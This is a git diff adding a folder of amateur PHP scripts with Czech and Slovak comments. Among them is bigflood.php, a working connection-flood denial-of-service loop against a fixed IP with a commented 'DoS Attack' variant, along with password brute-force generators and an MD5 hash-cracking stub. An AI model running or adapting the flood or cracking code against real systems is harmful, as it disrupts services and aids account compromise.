+  $line = trim(fgets($fp));\r
+  $line = explode("\t", $line, 2);\r
+  $line[0] = trim($line[0]);\r
+  $line[1] = trim($line[1]);\r
+  //print_r($line);\r
+  echo("  ".$line[0]." => \"".$line[1]."\",\r\n");\r
+}\r
+*/\r
diff --git a/php/skripty/bigflood.php b/php/skripty/bigflood.php
new file mode 100644 (file)
index 0000000..4e1d2cd
--- /dev/null
@@ -0,0 +1,25 @@
+<?php\r
+//Bigflood\r
+$host = "localhost";\r
+$host = "192.168.2.161";\r
+$port = 80;\r
+$timeout = 0.00001;\r
+\r
+echo("Sending ".(1/$timeout)." packets / second.\n");\r
+while(1) {\r
+  @pfsockopen($host, $port, $errno, $err, $timeout);\r
+}\r
+\r
+\r
+/*\r
+\r
+<?php\r
+//DoS Attack\r
+echo("Attacking...");\r
+while(1) {\r
+@pfsockopen(\r
+"host.com", 80, $errno, $err, 0.00001);\r
+}\r
+?>\r
+\r
+*/\r
diff --git a/php/skripty/bruteForcer.php b/php/skripty/bruteForcer.php
new file mode 100644 (file)
index 0000000..bd891a5
--- /dev/null
@@ -0,0 +1,90 @@
+<?php\r
+\r
+//CHAR AT POSITION "X"\r
+function charAt($str, $pos) {\r
+\r
+$pos = ($pos - 1); //Offset\r
+return (substr($str, $pos, 1)) ? substr($str, $pos, 1) : -1;\r
+\r
+}\r
+\r
+//NEXT CHARACTER\r
+function nextChar ( $in ) {\r
+\r
+$chars = ("abcdefghijklmnopqrstuvwxyz "); // Ends with space\r
+//echo(charAt($chars, 7)); //Debug\r
+$len = (strlen($chars));\r
+\r
+$char = $in;\r
+\r
+$charpos = ( strpos($chars, $char) );\r
+$newcharpos = ($charpos + 1);\r
+$char = $chars[$newcharpos];\r
+\r
+$out = $char;\r
+return ($out); //Returns "" after last character.\r
+\r
+}\r
+\r
+//BRUTE FORCER\r
+function bruteForce ( $word ) {\r
+\r
+$first = ("a");\r
+$prelast = ("z");\r
+$last = (" ");\r
+\r
+$wpos = 0;\r
+\r
+while ( $word[$wpos] == $prelast ) {\r
+  $wpos = ($wpos + 1);\r
+}\r
+\r
+$word[$wpos] = nextChar($word[$wpos]);\r
+\r
+/*\r
+while ( $word[$wpos] != $prelast ) {\r
+  $word[$wpos] = nextChar($word[$wpos]);\r
+  if ( $word[$wpos] == $last ) {\r
+    $word[$wpos] = $prelast;\r
+    }\r
+}\r
+*/\r
+\r
+return $word;\r
+}\r
+\r
+\r
+\r
+//===CODE===\r
+\r
+//$test = ("nazdar");\r
+//echo ($test["2"]);\r
+//die();\r
+\r
+echo(nextChar ("d") . "\n");\r
+echo(bruteForce ("ahoj") . "\n----------------------\n\n");\r
+\r
+$ted = ("a");\r
+while (1) {\r
+echo($ted."\n");\r
+$ted = bruteForce($ted);\r
+}\r
+\r
+/*\r
+$hash = ("79c2b46ce2594ecbcb5b73e928345492");\r
+$pass = ("ahoj");\r
+//echo(md5("ahoj"));\r
+\r
+$loop = 1;\r
+while($loop) {\r
+\r
+$now = $pass;\r
+\r
+  if ( md5($now) == $hash ) {\r
+    die ("Hash: $hash\nVysledek: $now\n");\r
+  }\r
+\r
+}\r
+*/\r
+\r
+?>\r
diff --git a/php/skripty/bruteforcer2.php b/php/skripty/bruteforcer2.php
new file mode 100644 (file)
index 0000000..9f6744c
--- /dev/null
@@ -0,0 +1,25 @@
+<?php\r
+/*\r
+\r
+Maximalni mozna hodnota\r
+a5m64tg2n48 == 37131929274566024\r
+die(base_convert("a5m64tg2n48", 36, 10)."\n");\r
+\r
+*/\r
+\r
+$start = 4; //Minimalni pocet mist\r
+$stop = 4; //Maximalni pocet mist\r
+\r
+$start = pow(36, ($start - 1));\r
+$stop = pow(36, $stop);\r
+\r
+system("title GENERATING BRUTE FORCE SEQUENTION");\r
+$i = $start;\r
+while($i <= $stop) {\r
+  $generated = base_convert($i, 10, 36);\r
+  //Dalsi ukony (specialni znaky, ...)\r
+  echo($generated."\n");\r
+  $i++;\r
+}\r
+\r
+?>\r
diff --git a/php/skripty/char_case_brute.php b/php/skripty/char_case_brute.php
new file mode 100644 (file)
index 0000000..7bc9ca9
--- /dev/null
@@ -0,0 +1,62 @@
+<?php\r
+\r
+//die(urldecode("http://www.aliveband.se/L%e5tar/07-HARD%20DAYS%20NIGHT.mp3"));\r
+\r
+$str = "Lo";\r
+\r
+\r
+///CODE//////////////////\r
+function str2lower($str) {\r
+  return strtolower($str);\r
+}\r
+function str2upper($str) {\r
+  return strtoupper($str);\r
+}\r
+\r
+function fill_notset($str, $len, $char) {\r
+  $strout = $str;\r
+  $start = strlen($strout);\r
+  for($i=$start;$i<$len;$i++) {\r
+    $strout[$i] = $char;\r
+  }\r
+  return($strout);\r
+}\r
+//echo(fill_notset("aa", 5, "b")); die();\r
+/////////////////////////\r
+$origstr = $str = str2lower($str);\r
+$len = strlen($str);\r
+$origlen = $len;\r
+\r
+$mask = "";\r
+for (;$len > 0;$len--) {\r
+  $mask = $mask."1";\r
+} //echo($mask);\r
+\r
+$i = base_convert($mask, 2, 10); //echo($i);\r
+while(1) {\r
+  $mask = base_convert($i, 10, 2);\r
+  $mask = fill_notset($mask, $len, "b");\r
+  if(strlen($mask) > strlen($str) || $i < 0) { die(); }\r
+  \r
+  //Regular\r
+  $str = $origstr;\r
+  for ($len = $origlen-1;$len>=0;$len--) {\r
+    if(isset($mask[$len]) && $mask[$len] == "1") {\r
+      $str[$len] = str2upper($str[$len]);\r
+    }\r
+  } echo($mask);\r
+  echo("$str\n");\r
+  \r
+  /*/Reversed\r
+  $mask = str_replace(array("0","1"), array("1","0"), $mask);\r
+  $str = $origstr;\r
+  for ($len = $origlen-1;$len>=0;$len--) {\r
+    if(isset($mask[$len]) && $mask[$len] == "1") {\r
+      $str[$len] = str2upper($str[$len]);\r
+    }\r
+  } //echo($mask);\r
+  echo("$str\n");\r
+  */\r
+\r
+$i--;\r
+}\r
diff --git a/php/skripty/cmd.php b/php/skripty/cmd.php
new file mode 100644 (file)
index 0000000..9fa6e48
--- /dev/null
@@ -0,0 +1,23 @@
+<?php\r
+\r
+function readline() {\r
+    $fp = fopen("php://stdin","r");\r
+    $line = fgets($fp, 1000);\r
+    fclose($fp);\r
+    return $line;\r
+}\r
+\r
+while(1){\r
+  print ("\nHARVIE's CMDLine:\n");\r
+  $cmd = ("");\r
+  $cmd = trim(readline());\r
+  if ( $cmd != "" ){\r
+    system ($cmd);\r
+  } else {\r
+    while(1){\r
+      $cmd = trim(readline());\r
+    }\r
+  }\r
+}\r
+\r
+?>\r
diff --git a/php/skripty/cpuload.php b/php/skripty/cpuload.php
new file mode 100644 (file)
index 0000000..ab311a2
--- /dev/null
@@ -0,0 +1,42 @@
+<?php\r
+//CPULoad\r
+\r
+function getmicrotime(){\r
+   list($usec, $sec) = explode(" ",microtime());\r
+   return ((float)$usec);\r
+   } \r
+   \r
+   \r
+$c = 0;\r
+$ind = 0;\r
+while($c < 0.3) {    // max 0.3\r
+  $a = getmicrotime();\r
+\r
+////////////////////////////////////////////////////////////////\r
+    /*\r
+    for ($i=0; $i < 1000; $i++){\r
+      $x = cos(sin(cos(sin(cos(sin(60))))));\r
+    }\r
+    */\r
+    \r
+    $desc = array(\r
+   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from\r
+   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to\r
+   2 => array("pipe", "r") // stderr is a file to write to\r
+);\r
+\r
+$proc[$ind] = proc_open("proctest.exe", $desc, $pipes);\r
+$ind = ($ind + 1);\r
+\r
+////////////////////////////////////////////////////////////////\r
+\r
+  $b = getmicrotime();\r
+  $c = round(($b - $a), 10);\r
+  echo($c."\n");\r
+  \r
+  }\r
+\r
+echo("end");\r
+system("taskkill /f /im proctest.exe");\r
+echo("OK");\r
+?>\r
diff --git a/php/skripty/crdemo.php b/php/skripty/crdemo.php
new file mode 100644 (file)
index 0000000..b81037f
--- /dev/null
@@ -0,0 +1,8 @@
+<?php\r
+$tocse = "-\|/";\r
+$i = 0;\r
+while(1) {\r
+  for($x=0;$x<10000;$x++) echo($tocse[$i]."\x0d");\r
+  $i++;\r
+  if($i > 3) { $i = 0; }\r
+}\r
diff --git a/php/skripty/decode_binary_text.php b/php/skripty/decode_binary_text.php
new file mode 100644 (file)
index 0000000..5ca9d72
--- /dev/null
@@ -0,0 +1,357 @@
+<?php\r
+\r
+$bin = (\r
+"01110110 01101111 00100000 01110011 01110110 01100101 01110100 01100101 00100000 01101010 01100101 01100100 01101110 ".\r
+"01101111 01110100 01101001 01100101 01101011 00100000 01100001 00100000 01101110 01110101 01101100 00100000 01110011 ".\r
+"01100001 00100000 01110000 01101111 01101000 01111001 01100010 01110101 01101010 01110101 00100000 01101111 01111010 ".\r
+"01100001 01101010 01110011 01110100 01101110 01101001 00100000 01110000 01100001 01101110 01101001 00100000 01110000 ".\r
+"01110010 01101111 01100111 01110010 01100001 01101101 01100001 01110100 01101111 01110010 01101001 00101100 00100000 ".\r
+"01101111 01100010 01111001 01100011 01100001 01101010 01101110 01101001 00100000 01101011 01101111 01100100 01100101 ".\r
+"01110010 01101001 00101100 00100000 01101100 01100001 01101101 01111001 00101100 00100000 01100001 01101010 00100000 ".\r
+"01110101 01110000 01101100 01101110 01101001 00100000 01100001 01101101 01100001 01110100 01100101 01110010 01101001 ".\r
+"00101110 00100000 01101010 01100101 00100000 01100011 01100001 01110011 00100000 01101111 01100100 01100100 01100101 ".\r
+"01101100 01101001 01110100 00100000 01101010 01100101 01100100 01101110 01101111 01110100 01101011 01111001 00100000 ".\r
+"01101111 01100100 00100000 01101110 01110101 01101100 00100001"\r
+);\r
+//nezufajte, nasleduje aj text pre "smrtelnikov":\r
+//vo svete jednotiek a nul sa pohybuju ozajstni pani programatori, obycajni koderi, lamy, aj uplni amateri. je cas oddelit jednotky od nul!\r
+\r
+//$bin = "1010100 1101000 1101001 1110011 0100000 1101001 1110011 100000 1101101 1111001 100000 1110011 1100101 1100011 1110010 1100101 1110100 100000 1101101 1100101 1110011 1110011 1100001 1100111 1100101";\r
+/* $bin = "01011010 01100101 00100000 01110011 01100101 00100000 01010000 01001000 01010000 00100000 01110000 01101111 01110101 01111010 01101001 01110110 \r
+01100001 00100000 01110000 01110010 01101111 00100000 01110110 01111001 01110110 01101111 01101010 00100000 01110111 01100101 01100010 01101111 \r
+01110110 01111001 01100011 01101000 00100000 01100001 01110000 01101100 01101001 01101011 01100001 01100011 01101001 00101100 00100000 01110110 \r
+01101001 00100000 01100001 01110011 01101001 00100000 01101011 01100001 01111010 01100100 01111001 00101110 00001101 00001010 01001101 01100101 \r
+01101110 01100101 00100000 01111010 01101110 01100001 01101101 01100001 00100000 01101010 01100101 00100000 01110011 01101011 01110101 01110100 \r
+01100101 01100011 01101110 01101111 01110011 01110100 00101100 00100000 01111010 01100101 00100000 01010000 01001000 01010000 00100000 01101100 \r
+01111010 01100101 00100000 01110101 01110011 01110000 01100101 01110011 01101110 01100101 00100000 01110000 01101111 01110101 01111010 01101001 \r
+01110100 00100000 01110000 01110010 01101111 00100000 01110000 01110011 01100001 01101110 01101001 00100000 01110011 01101000 01100101 01101100 \r
+01101100 01101111 01110110 01111001 01100011 01101000 00100000 01110011 01101011 01110010 01101001 01110000 01110100 01110101 00101110 00001101 \r
+00001010 01001101 01101110 01101111 01101000 01101111 00100000 01110101 01111010 01101001 01110110 01100001 01110100 01100101 01101100 01110101 \r
+00100000 01101111 01100100 01110010 01100001 01111010 01110101 01101010 01100101 00100000 01101111 01100100 00100000 01110011 01101000 01100101 \r
+01101100 01101100 01110101 00100000 01110011 01111001 01101110 01110100 01100001 01111000 01100101 00100000 01110000 01110010 01101001 01101011 \r
+01100001 01111010 01110101 00101100 00100000 01101111 01100010 01110100 01101001 01111010 01101110 01100101 00100000 01101100 01100001 01100100 \r
+01100101 01101110 01101001 00101100 00100000 01101110 01100101 01100010 01101111 00100000 01101101 01100001 01101010 01101001 00100000 01110000 \r
+01110010 01101111 01110011 01110100 01100101 00100000 01110110 01101001 01100011 01100101 00100000 01111010 01101011 01110101 01110011 01100101 \r
+01101110 01101111 01110011 01110100 01101001 00100000 01110011 00100000 01010000 01001000 01010000 00101110 00001101 00001010 01010000 01101111 \r
+01101011 01110101 01100100 00100000 01110011 01100101 00100000 01110010 01101111 01111010 01101000 01101111 01100100 01101110 01100101 01110100 \r
+01100101 00100000 01110110 01111001 01111010 01101011 01101111 01110101 01110011 01100101 01110100 00100000 01110011 01101011 01110010 01101001 \r
+01110000 01110100 01101111 01110110 01100001 01101110 01101001 00100000 01110110 00100000 01010000 01001000 01010000 00101100 00100000 01110100 \r
+01100101 01101110 01110100 01101111 00100000 01100011 01101100 01100001 01101110 01100101 01101011 00100000 01110110 01100001 01101101 00100000 \r
+01110000 01101111 01110010 01100001 01100100 01101001 00101100 00100000 01101010 01100001 01101011 00100000 01101110 01100001 00100000 01110100 \r
+01101111 00101110 00001101 00001010 00001101 00001010 01010000 01110010 01101001 00100000 01110000 01101111 01110101 01111010 01101001 01110100 \r
+01101001 00100000 01110000 01110010 01101111 00100000 01110111 01100101 01100010 01101111 01110110 01100101 00100000 01100001 01110000 01101100 \r
+01101001 01101011 01100001 01100011 01100101 00100000 01110000 01110010 01100001 01100011 01110101 01101010 01100101 00100000 01010000 01001000 \r
+01010000 00100000 01101010 01100001 01101011 01101111 00100000 01101101 01101111 01100100 01110101 01101100 00100000 01110011 01100101 01110010 \r
+01110110 01100101 01110010 01110101 00100000 01000001 01110000 01100001 01100011 01101000 01100101 00101110 00100000 01000100 01101110 01100101 \r
+01110011 01101110 01101001 00100000 01100100 01101001 01110011 01110100 01110010 01101001 01100010 01110101 01100011 01100101 00100000 01001100 \r
+01101001 01101110 01110101 01111000 01110101 00100000 01110110 01110011 01100001 01101011 00100000 01101111 01100010 01110110 01111001 01101011 \r
+01101100 01100101 00100000 01101111 01100010 01110011 01100001 01101000 01110101 01101010 01101001 00100000 01110100 01100001 01101011 01100101 \r
+00100000 01101001 01101110 01110100 01100101 01110010 01110000 01110010 01100101 01110100 01100101 01110010 00100000 01010000 01001000 01010000 \r
+00100000 01111010 01101011 01101111 01101101 01110000 01101001 01101100 01101111 01110110 01100001 01101110 01111001 00100000 01101010 01100001 \r
+01101011 01101111 00100000 01110011 01110000 01110101 01110011 01110100 01101001 01110100 01100101 01101100 01101110 01111001 00100000 01110000 \r
+01110010 01101111 01100111 01110010 01100001 01101101 00101100 00100000 01100011 01101111 01111010 00100000 01101110 01100001 01101101 00100000 \r
+01110101 01101101 01101111 01111010 01101110 01110101 01101010 01100101 00100000 01110000 01101111 01110101 01111010 01101001 01110100 01101001 \r
+00100000 01010000 01001000 01010000 00100000 01101010 01100001 01101011 01101111 00100000 01110011 01101011 01110010 01101001 01110000 01110100 \r
+01101111 01110110 01100001 01100011 01101001 01101000 01101111 00100000 01101010 01100001 01111010 01111001 01101011 01100001 00100000 01110000 \r
+01110010 01101111 00100000 01110011 01101000 01100101 01101100 01101100 00101110 00001101 00001010 00001101 00001010 01010000 01001000 01010000 \r
+00100000 01101111 01100100 00100000 01110110 01100101 01110010 01111010 01100101 00100000 00110100 00101110 00110010 00100000 01101110 01100001 \r
+01100010 01101001 01111010 01101001 00100000 01111010 01100100 01101111 01101011 01101111 01101110 01100001 01101100 01100101 01101110 01101111 \r
+01110101 00100000 01110000 01101111 01100100 01110000 01101111 01110010 01110101 00100000 01110000 01110010 01101111 00100000 01110011 01101000 \r
+01100101 01101100 01101100 01101111 01110110 01100101 00100000 01110011 01101011 01110010 01101001 01110000 01110100 01101111 01110110 01100001 \r
+01101110 01101001 00100000 00101000 01110000 01101111 01101101 01101111 01100011 01101001 00100000 01110000 01110010 01100101 01110000 01101001 \r
+01101110 01100001 01100011 01100101 00100000 00101101 01100101 01101110 01100001 01100010 01101100 01100101 00101101 01100011 01101100 01101001 \r
+00100000 01110000 01110010 01101001 00100000 01101011 01101111 01101101 01110000 01101001 01101100 01100001 01100011 01101001 00101001 00101100 \r
+00100000 01110110 01110011 01100101 01100011 01101000 01101110 01111001 00100000 01110101 01101011 01100001 01111010 01101011 01111001 00100000 \r
+01110110 00100000 01110100 01101111 01101101 01110100 01101111 00100000 01100011 01101100 01100001 01101110 01101011 01110101 00100000 01110110 \r
+01110011 01100001 01101011 00100000 01100110 01110101 01101110 01100111 01110101 01101010 01101001 00100000 01101001 00100000 01110110 01100101 \r
+00100000 01110110 01100101 01110010 01111010 01101001 01100011 01101000 00100000 01101110 01101001 01111010 01110011 01101001 01100011 01101000 \r
+00101110 00001101 00001010 00001101 00001010 01001010 01100001 01101011 00100000 01110100 01100101 01100100 01111001 00100000 01110000 01110011 \r
+01100001 01110100 00100000 01110011 01101000 01100101 01101100 01101100 01101111 01110110 01100101 00100000 01110011 01101011 01110010 01101001 \r
+01110000 01110100 01111001 00100000 01110110 00100000 01010000 01001000 01010000 00111111 00100000 01010110 01111001 01110100 01110110 01101111 \r
+01110010 01101001 01101101 01100101 00100000 01110100 01100101 01111000 01110100 01101111 01110110 01111001 00100000 01110011 01101111 01110101 \r
+01100010 01101111 01110010 00100000 01101000 01100101 01101100 01101100 01101111 00100000 01110011 00100000 01101110 01100001 01110011 01101100 \r
+01100101 01100100 01110101 01101010 01101001 01100011 01101001 01101101 00100000 01101111 01100010 01110011 01100001 01101000 01100101 01101101 \r
+00111010 00001101 00001010 00001101 00001010 00100011 00100001 00101111 01110101 01110011 01110010 00101111 01100010 01101001 01101110 00101111 \r
+01110000 01101000 01110000 00100000 00101101 01110001 00001101 00001010 00111100 00111111 01110000 01101000 01110000 00001101 00001010 01110000 \r
+01110010 01101001 01101110 01110100 00100000 00100010 01001000 01100101 01101100 01101100 01101111 00100000 01010111 01101111 01110010 01101100 \r
+01100100 00100001 01011100 01101110 00100010 00111011 00001101 00001010 00111111 00111110 00001101 00001010 00001101 00001010 01010000 01110010 \r
+01110110 01101110 01101001 00100000 01110010 01100001 01100100 01100101 01101011 00100000 01101111 01111010 01101110 01100001 01101101 01110101 \r
+01101010 01100101 00100000 01110011 01101000 01100101 01101100 01101100 01110101 00101100 00100000 01111010 01100101 00100000 01110000 01110010 \r
+01101111 00100000 01111010 01110000 01110010 01100001 01100011 01101111 01110110 01100001 01101110 01101001 00100000 01110011 01101011 01110010 \r
+01101001 01110000 01110100 01110101 00100000 01101101 01100001 00100000 01110000 01101111 01110101 01111010 01101001 01110100 00100000 01110000 \r
+01110010 01101111 01100111 01110010 01100001 01101101 00100000 00101111 01110101 01110011 01110010 00101111 01100010 01101001 01101110 00101111 \r
+01110000 01101000 01110000 00101110 00100000 01010000 01110010 01100101 01110000 01101001 01101110 01100001 01100011 00100000 00101101 01110001 \r
+00100000 01111010 01101110 01100001 01101101 01100101 01101110 01100001 00101100 00100000 01111010 01100101 00100000 01010000 01001000 01010000 \r
+00100000 01101110 01100101 01100010 01110101 01100100 01100101 00100000 01110000 01101111 01110011 01101001 01101100 01100001 01110100 00100000 \r
+01101110 01100001 00100000 01110110 01111001 01110011 01110100 01110101 01110000 00100000 01001000 01010100 01010100 01010000 00100000 01101000 \r
+01101100 01100001 01110110 01101001 01100011 01101011 01111001 00101100 00100000 01101011 01110100 01100101 01110010 01100101 00100000 01110000 \r
+01110010 01101111 00100000 01110011 01101000 01100101 01101100 01101100 01101111 01110110 01100101 00100000 01110011 01101011 01110010 01101001 \r
+01110000 01110100 01101111 01110110 01100001 01101110 01101001 00100000 01101110 01100101 01110000 01101111 01110100 01110010 01100101 01100010 \r
+01110101 01101010 01100101 01101101 01100101 00101110 00100000 01011010 01100010 01111001 01110100 01100101 01101011 00100000 01110011 01101111 \r
+01110101 01100010 01101111 01110010 01110101 00100000 01101010 01100101 00100000 01110000 01100001 01101011 00100000 01100010 01100101 01111010 \r
+01101110 01111001 00100000 01010000 01001000 01010000 00100000 01101011 01101111 01100100 00101100 00100000 01101011 01110100 01100101 01110010 \r
+01111001 00100000 01110011 01100101 00100000 01101001 01101110 01110100 01100101 01110010 01110000 01110010 01100101 01110100 01110101 01101010 \r
+01100101 00100000 01110011 01110100 01100101 01101010 01101110 01100101 00100000 01101010 01100001 01101011 01101111 00100000 01110000 01110010 \r
+01101001 00100000 01110000 01101111 01110101 01111010 01101001 01110100 01101001 00100000 01010000 01001000 01010000 00100000 01110011 00100000 \r
+01110111 01100101 01100010 00100000 01110011 01100101 01110010 01110110 01100101 01110010 01100101 01101101 00101110 00001101 00001010 00001101 \r
+00001010 01011010 01101101 01100101 01101110 01101001 01101101 01100101 00100000 01100001 01110100 01110010 01101001 01100010 01110101 01110100 \r
+01111001 00100000 01110011 01101111 01110101 01100010 01101111 01110010 01110101 00100000 01101000 01100101 01101100 01101100 01101111 00100000 \r
+01110100 01100001 01101011 00101100 00100000 01100001 01100010 01111001 00100000 01100010 01111001 01101100 00100000 01110011 01110000 01110101 \r
+01110011 01110100 01101001 01110100 01100101 01101100 01101110 01111001 00101110 00100000 01010110 01101111 01101100 01100001 01101110 01101001 \r
+00001101 00001010 00001101 00001010 00101110 00101111 01101000 01100101 01101100 01101100 01101111 00001101 00001010 00001101 00001010 01101110 \r
+01100001 01101101 00100000 01110000 01100001 01101011 00100000 01100100 01100001 00100000 01101111 01100011 01100101 01101011 01100001 01110110 \r
+01100001 01101110 01111001 00100000 01110110 01111001 01110011 01101100 01100101 01100100 01100101 01101011 00100000 01101110 01100001 00100000 \r
+01110110 01111001 01110011 01110100 01110101 01110000 01110101 00111010 00001101 00001010 00001101 00001010 01001000 01100101 01101100 01101100 \r
+01101111 00100000 01010111 01101111 01110010 01101100 01100100 00100001 00001101 00001010 00001101 00001010 01010110 00100000 01110011 01101000 \r
+01100101 01101100 01101100 01101111 01110110 01100101 01101101 00100000 01010000 01001000 01010000 00100000 01110011 01101011 01110010 01101001 \r
+01110000 01110100 01110101 00100000 01101101 01110101 01111010 01100101 01101101 01100101 00100000 01110110 01111001 01110101 01111010 01101001 \r
+01110110 01100001 01110100 00100000 01110110 01110011 01100101 01100011 01101000 00100000 01101101 01101111 01111010 01101110 01101111 01110011 \r
+01110100 01101001 00101100 00100000 01101011 01110100 01100101 01110010 01100101 00100000 01101110 01100001 01101101 00100000 01010000 01001000 \r
+01010000 00100000 01101110 01100001 01100010 01101001 01111010 01101001 00101100 00100000 01110110 01100011 01100101 01110100 01101110 01100101 \r
+00100000 01110000 01110010 01100001 01100011 01100101 00100000 01110011 00100000 01100100 01100001 01110100 01100001 01100010 01100001 01111010 \r
+01100101 01101101 01101001 00101100 00100000 01110000 01101111 01110011 01110100 01101111 01110101 00101100 00100000 01011000 01001101 01001100 \r
+00100000 01100001 00100000 01110000 01101111 01100100 01101111 01100010 01101110 01100101 00101110 00100000 01010110 00100000 01100100 01100001 \r
+01101100 01110011 01101001 00100000 01100011 01100001 01110011 01110100 01101001 00100000 01100011 01101100 01100001 01101110 01101011 01110101 \r
+00100000 01110011 01100101 00100000 01111010 01100001 01101101 01100101 01110010 01101001 01101101 01100101 00100000 01101110 01100001 00100000 \r
+01110100 01111001 00100000 01100001 01110011 01110000 01100101 01101011 01110100 01111001 00100000 01010000 01001000 01010000 00101100 00100000 \r
+01101011 01110100 01100101 01110010 01100101 00100000 01110011 01100101 00100000 01101110 01100101 01101010 01110110 01101001 01100011 01100101 \r
+00100000 01110100 01111001 01101011 01100001 01101010 01101001 00100000 01110011 01101000 01100101 01101100 01101100 01110101 00100000 01100001 \r
+00100000 01101011 01110100 01100101 01110010 01100101 00100000 01110000 01110010 01101001 00100000 01110011 01101011 01110010 01101001 01110000 \r
+01110100 01101111 01110110 01100001 01101110 01101001 00100000 01110110 01111001 01110101 01111010 01101001 01101010 01100101 01101101 01100101 \r
+00100000 01101110 01100101 01101010 01100011 01100001 01110011 01110100 01100101 01101010 01101001 00101110 00001101 00001010 01010110 01101111 \r
+01101100 01100001 01101110 01101001 00100000 01110000 01110010 01101001 01101011 01100001 01111010 01110101 00100000 01110011 01101000 01100101 \r
+01101100 01101100 01110101 00001101 00001010 00001101 00001010 01001010 01100001 01111010 01111001 01101011 00100000 01010000 01001000 01010000 \r
+00100000 01101111 01100010 01110011 01100001 01101000 01110101 01101010 01100101 00100000 01101110 01100101 01101011 01101111 01101100 01101001 \r
+01101011 00100000 01110000 01110010 01101001 01101011 01100001 01111010 01110101 00100000 01110000 01110010 01101111 00100000 01110000 01110010 \r
+01101001 01101101 01100101 00100000 01110110 01101111 01101100 01100001 01101110 01101001 00100000 01100101 01111000 01110100 01100101 01110010 \r
+01101110 01101001 01100011 01101000 00100000 01110000 01110010 01101111 01100111 01110010 01100001 01101101 01110101 00111010 00100000 01100101 \r
+01111000 01100101 01100011 00101000 00101001 00101100 00100000 01110000 01100001 01110011 01110011 01110100 01101000 01110010 01110101 00101000 \r
+00101001 00101100 00100000 01110011 01101000 01100101 01101100 01101100 01011111 01100101 01111000 01100101 01100011 00101000 00101001 00101100 \r
+00100000 01110011 01111001 01110011 01110100 01100101 01101101 00101000 00101001 00101100 00100000 01110000 01110010 01101111 01100011 01011111 \r
+01101111 01110000 01100101 01101110 00101000 00101001 00101111 01110000 01110010 01101111 01100011 01011111 01100011 01101100 01101111 01110011 \r
+01100101 00101000 00101001 00101100 00100000 01101111 01100010 01110010 01100001 01100011 01100101 01101110 01100101 00100000 01100001 01110000 \r
+01101111 01110011 01110100 01110010 01101111 01100110 01111001 00101110 00100000 01010110 01110011 01100101 01100011 01101000 01101110 01111001 \r
+00100000 01101101 01110101 01111010 01100101 01101101 01100101 00100000 01110110 01111001 01110101 01111010 01101001 01110100 00100000 01101001 \r
+00100000 01110110 00100000 01010000 01001000 01010000 00100000 01110011 01101011 01110010 01101001 01110000 01110100 01100101 01100011 01101000 \r
+00100000 01110000 01110010 01101111 00100000 01110011 01101000 01100101 01101100 01101100 00101110 00100000 01001110 01100001 01110000 01110010 \r
+01101001 01101011 01101100 01100001 01100100 00100000 01101110 01100001 01110011 01101100 01100101 01100100 01110101 01101010 01101001 01100011 \r
+01101001 00100000 01110011 01101011 01110010 01101001 01110000 01110100 00111010 00001101 00001010 00001101 00001010 00100011 00100001 00101111 \r
+01110101 01110011 01110010 00101111 01100010 01101001 01101110 00101111 01110000 01101000 01110000 00100000 00101101 01110001 00001101 00001010 \r
+00111100 00111111 01110000 01101000 01110000 00001101 00001010 01110000 01110010 01101001 01101110 01110100 00100000 00100010 01000100 01101110 \r
+01100101 01110011 01101110 01101001 00100000 01100100 01100001 01110100 01110101 01101101 00100000 01100001 00100000 01100011 01100001 01110011 \r
+00111010 00100000 00100010 00100000 00101110 00100000 01110011 01111001 01110011 01110100 01100101 01101101 00101000 00100010 00101111 01100010 \r
+01101001 01101110 00101111 01100100 01100001 01110100 01100101 00100010 00101001 00100000 00101110 00100000 00100010 01011100 01101110 00100010 \r
+00111011 00001101 00001010 00111111 00111110 00001101 00001010 00001101 00001010 01111010 01100001 01110110 01101111 01101100 01100001 00100000 \r
+01110000 01110010 01101001 01101011 01100001 01111010 00100000 01100100 01100001 01110100 01100101 00100000 01100001 00100000 01101110 01100001 \r
+00100000 01110011 01110100 01100001 01101110 01100100 01100001 01110010 01100100 01101110 01101001 00100000 01110110 01111001 01110011 01110100 \r
+01110101 01110000 00100000 01110110 01111001 01110000 01101001 01110011 01100101 00100000 01101010 01100101 01101000 01101111 00100000 01110110 \r
+01111001 01110011 01101100 01100101 01100100 01100101 01101011 00101110 00001101 00001010 01001111 01110000 01100101 01110010 01100001 01100011 \r
+01100101 00100000 01110011 00100000 01110010 01100101 01110100 01100101 01111010 01100011 01101001 00001101 00001010 00001101 00001010 01000011 \r
+01100001 01110011 01110100 01101111 01110101 00100000 01101111 01110000 01100101 01110010 01100001 01100011 01101001 00100000 01110110 00100000 \r
+01110011 01101000 01100101 01101100 01101100 00100000 01110011 01101011 01110010 01101001 01110000 01110100 01100101 01100011 01101000 00100000 \r
+01101010 01100101 00100000 01111010 01110000 01110010 01100001 01100011 01101111 01110110 01100001 01101110 01101001 00100000 01110110 01111001 \r
+01110011 01110100 01110101 01110000 01110101 00100000 01101010 01101001 01101110 01100101 01101000 01101111 00100000 01110000 01110010 01101111 \r
+01100111 01110010 01100001 01101101 01110101 00101110 00100000 01010110 00100000 01101011 01101100 01100001 01110011 01101001 01100011 01101011 \r
+01100101 01101101 00100000 01110011 01101000 01100101 01101100 01101100 00100000 01110011 01101011 01110010 01101001 01110000 01110100 01110101 \r
+00100000 01110110 01100101 01110100 01110011 01101001 01101110 01101111 01110101 00100000 01110000 01101111 01110101 01111010 01101001 01101010 \r
+01100101 01101101 01100101 00100000 01101110 01100101 01101011 01110100 01100101 01110010 01101111 01110101 00100000 01111010 00100000 01110110 \r
+01100001 01110010 01101001 01100001 01101110 01110100 00100000 01110101 01110100 01101001 01101100 01101001 01110100 01111001 00100000 01100001 \r
+01110111 01101011 00101100 00100000 01110000 01110010 01101001 01110000 01100001 01100100 01101110 01100101 00100000 01110010 01100101 01100111 \r
+01110101 01101100 01100001 01110010 01101110 01101001 00100000 01110110 01111001 01110010 01100001 01111010 01111001 00101100 00100000 01100001 \r
+01100010 01111001 01100011 01101000 01101111 01101101 00100000 01111010 00100000 01110110 01111001 01110011 01110100 01110101 01110000 01110101 \r
+00100000 01110000 01110010 01101111 01100111 01110010 01100001 01101101 01110101 00100000 01111010 01101001 01110011 01101011 01100001 01101100 \r
+01101001 00100000 01101001 01101110 01100110 01101111 01110010 01101101 01100001 01100011 01100101 00101100 00100000 01101011 01110100 01100101 \r
+01110010 01100101 00100000 01101110 01100001 01110011 00100000 01111010 01100001 01101010 01101001 01101101 01100001 01101010 01101001 00101110 \r
+00100000 01010110 00100000 01101101 01101110 01101111 01101000 01100001 00100000 01101010 01100101 01100100 01101110 01101111 01100100 01110101 \r
